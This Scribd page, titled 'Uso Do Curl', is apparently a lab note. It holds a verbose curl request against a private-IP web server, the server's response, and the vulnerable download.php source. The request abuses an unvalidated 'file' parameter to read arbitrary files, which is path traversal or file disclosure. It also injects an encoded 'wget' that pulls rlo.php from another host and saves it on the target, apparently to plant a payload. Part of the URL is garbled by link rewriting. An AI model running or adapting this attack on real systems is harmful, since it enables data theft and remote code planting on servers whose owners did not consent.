0% found this document useful (0 votes)
2 views1 page

Uso Do Curl

The document contains a cURL command that attempts to download a PHP file from a server using a specific command. It shows the server response indicating a successful connection and the headers for the file download. The PHP code in the document is designed to read and send a specified file as a binary attachment to the client.

Uploaded by

Ricardo Oliveira
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
2 views1 page

Uso Do Curl

The document contains a cURL command that attempts to download a PHP file from a server using a specific command. It shows the server response indicating a successful connection and the headers for the file download. The PHP code in the document is designed to read and send a specified file as a binary attachment to the client.

Uploaded by

Ricardo Oliveira
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
You are on page 1/ 1

curl -v "http://172.16.1.245/download.php?file=download.

php&cmd=wget%20http%3A%2F
%2F172.20.1.76%2Frlo.php%20-O%20rlo.php"

* Trying 172.16.1.245:80...
* Connected to 172.16.1.245 (172.16.1.245) port 80
> GET /download.php?file=download.php&cmd=wget%20https%3A%2F%2Ffanyv88.com%3A443%2Fhttp%2F172.20.1.76%2Frlo.php
%20-O%20rlo.php HTTP/1.1
> Host: 172.16.1.245
> User-Agent: curl/8.7.1
> Accept: */*
>
* Request completely sent off
< HTTP/1.1 200 OK
< Date: Fri, 31 Jan 2025 22:54:45 GMT
< Server: Apache/2.4.18 (Ubuntu)
< Content-Length: 408
< Content-Disposition: attachment; filename="download.php"
< Content-Transfer-Encoding: binary
< Expires: 0
< Pragma: no-cache
< Content-Type: application/save
<
<?php
$file = $_GET['file'];

header("Content-Type: application/save");
header("Content-Length:".filesize($file));
header('Content-Disposition: attachment; filename="' .basename($file). '"');
header("Content-Transfer-Encoding: binary");
header('Expires: 0');
header('Pragma: no-cache');

// nesse momento ele le o arquivo e envia


$fp = fopen("$file", "r");
fpassthru($fp);
fclose($fp);
* Connection #0 to host 172.16.1.245 left intact
?>

You might also like